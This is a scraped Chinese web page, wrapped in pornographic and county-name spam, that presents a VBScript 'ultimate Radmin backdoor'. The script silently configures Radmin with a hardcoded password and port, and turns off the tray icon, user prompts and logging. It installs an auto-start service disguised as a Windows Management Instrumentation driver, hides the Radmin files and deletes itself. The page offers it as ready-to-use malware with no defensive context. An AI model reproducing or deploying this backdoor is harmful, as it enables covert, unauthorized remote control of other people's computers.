婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁(yè) > 知識(shí)庫(kù) > Vbs腳本實(shí)現(xiàn)radmin終極后門(mén)代碼_刪除自身

Vbs腳本實(shí)現(xiàn)radmin終極后門(mén)代碼_刪除自身

熱門(mén)標(biāo)簽:墨西哥地圖標(biāo)注app 外呼系統(tǒng)群 機(jī)器人打電銷(xiāo)適用于美業(yè)嗎 智云億呼電話機(jī)器人 外呼系統(tǒng)說(shuō)話聲音小怎么辦 企業(yè)400電話辦理價(jià)錢(qián)低 天津智能外呼系統(tǒng)排名 上海辦理400電話選號(hào) 龍巖400電話申請(qǐng)


復(fù)制代碼 代碼如下:

on error resume next 
const HKEY_LOCAL_MACHINE = H80000002 
strComputer = "." 
Set StdOut = WScript.StdOut 
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _  
strComputer  "\root\default:StdRegProv") 
strKeyPath = "SYSTEM\RAdmin" 
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 
strKeyPath = "SYSTEM\RAdmin\v2.0" 
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 
strKeyPath = "SYSTEM\RAdmin\v2.0\Server" 
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\iplist" 
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\Parameters" 
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 
Set objRegistry = GetObject("Winmgmts:root\default:StdRegProv") 
strPath = "SYSTEM\RAdmin\v2.0\Server\Parameters" 
uBinary = Array(0,0,0,0) 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary) 
uBinary = Array(0,0,0,0) 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary) 
uBinary = Array(1,0,0,0) 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary) 
uBinary = Array(0,0,0,0) 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary) 
uBinary = Array(0,0,0,0) 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary) 
uBinary = Array(0,0,0,0) 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary) 
uBinary = Array(0,0,0,0) 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary) 
uBinary = Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)        //此為注冊(cè)表導(dǎo)出十六進(jìn)制轉(zhuǎn)為十進(jìn)制數(shù)據(jù) pass:241241241 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)    //Radmin密碼 
uBinary = Array(5,4,0,0)      //端口:1029 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary) 
uBinary = Array(10,0,0,0) 
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary) 
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" strComputer "\root\default:StdRegProv") 
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\Parameters" 
strValueName = "LogFilePath" 
strValue = "c:\logfile.txt" 
set wshshell=createobject ("wscript.shell") 
a=wshshell.run ("sc.exe create WinManageHelp binpath= %systemroot%\system32\Exporer.exe start= auto",0) 
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue 
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" strComputer "\root\default:StdRegProv") 
strKeyPath = "SYSTEM\ControlSet001\Services\WinManageHelp" 
strValueName = "Description" 
strValue = "Windows Media PlayerWindows Management Instrumentation Player Drivers." 
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue 
strValueName = "DisplayName" 
strValue = "Windows Management Instrumentation Player Drivers" 
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue 
strValueName = "ImagePath" 
strValue = "c:\windows\system32\Exporer.exe /service" 
oReg.SetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue 
set wshshell=createobject ("wscript.shell") 
a=wshshell.run ("net start WinManageHelp",0) 
b=wshshell.run ("attrib +r +h +s %systemroot%\system32\exporer.exe",0) 
c=wshshell.run ("attrib +r +h +s %systemroot%\system32\AdmDll.dll",0) 
d=wshshell.run ("attrib +r +h +s %systemroot%\system32\raddrv.dll",0) 
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)    //自刪除

最好的刪除代碼不錯(cuò)
createobject("scripting.filesystemobject").deletefile(script.scriptname)

您可能感興趣的文章:
  • 批處理程序刪除自身 bat批處理
  • VBS腳本和BAT批處理刪除自身的方法
  • 批處理刪除自身的命令小結(jié)
  • vbs后臺(tái)運(yùn)行bat刪除自身的代碼
  • 原來(lái)ASP和PHP都是可以刪除自身的
  • ASP和PHP都是可以刪除自身的

標(biāo)簽:青島 鄂爾多斯 齊齊哈爾 黃山 承德 錫林郭勒盟 麗水 阜新

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Vbs腳本實(shí)現(xiàn)radmin終極后門(mén)代碼_刪除自身》,本文關(guān)鍵詞  Vbs,腳本,實(shí)現(xiàn),radmin,終極,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《Vbs腳本實(shí)現(xiàn)radmin終極后門(mén)代碼_刪除自身》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于Vbs腳本實(shí)現(xiàn)radmin終極后門(mén)代碼_刪除自身的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    主站蜘蛛池模板: 如皋市| 于田县| 胶南市| 酒泉市| 武定县| 滁州市| 长泰县| 高要市| 喜德县| 天长市| 凤城市| 定兴县| 三明市| 南昌县| 巍山| 和静县| 阳高县| 抚顺县| 仪陇县| 凌云县| 姚安县| 潜江市| 呼图壁县| 宣恩县| 咸宁市| 筠连县| 如皋市| 盘锦市| 莱西市| 全椒县| 天祝| 绥中县| 鄂托克前旗| 托里县| 中超| 原平市| 张家口市| 永济市| 云龙县| 丰县| 黄石市|